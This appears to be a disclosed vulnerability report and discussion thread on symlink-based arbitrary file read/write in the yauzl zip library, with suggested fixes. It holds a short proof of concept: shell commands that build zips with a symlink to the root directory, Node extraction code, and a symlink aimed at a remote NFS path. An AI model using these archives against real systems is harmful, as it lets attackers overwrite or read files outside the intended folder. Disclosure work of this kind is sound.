Arbitrary file read/write during archive extraction via symlink

When decompression uses an attacker-controlled zip, it is possible to create a malicious archive containing symlinks which leads to the file decompression outside the original filesystem location. This can be abused to read/write files in arbitrary location.

While the library checks for path traversal attacks (see https://github.com/thejoshwolfe/yauzl/blob/6a9e652e3fee41938bb1fb436f363b3ffc7e0b0f/index.js#L607) symlink are not disabled (and there’s not even an option to disable it).

Steps To Reproduce:

Create a zip containing a file with a symlink and decompress using yauzl.

Prepare the malicious zip:

ln -s / root
zip -v --symlinks boom1.zip root
zip -v --symlinks boom2.zip ./root/tmp/boom.txt

Reproduce the bug: I am using ‘decompress’ here, but the bug is in the underlying dependency - yauzl

const decompress = require('decompress');

decompress('boom1.zip', 'dist').then(files => {
    console.log('done zip1!');
        decompress('boom2.zip', 'dist').then(files => {
            console.log('done zip2!');
    });
});

IMHO, yauzl should have symlink disabled by default, and have an option to turn it on. This is how most common zip libraries deal with the problem (ops, feature).

[lirantal]

Seems like there are nuances to symlink support that I think @thejoshwolfe is trying to make:

1. There is general support for symlinks - i.e: enable or disable them completely
2. Support for symlinks for contents inside the archive

I see @ikkisoft’s concern though that a blacklist might be difficult to come up with and later in the future it might be vulnerable to new input that we hadn’t though of right now.

[ikkisoft]

I’ve successfully used this library to abuse an app without having to do path traversal, so I would stay away from trying to sanitize the symlinks.

e.g.

//On Mac, this will look for a NFS share with that file. Similar things in Win with UNC paths
zip -v --symlinks malicious.zip /net/192.168.1.1/tmp/foobar

I would suggest to simply create an option to disable symlinks. In a minor release, it could be ‘enabled’ by default not to break the current behaviour. Additionally, you can add a clear statement on the README in bold. During the next major version bump, disable symlinks by default.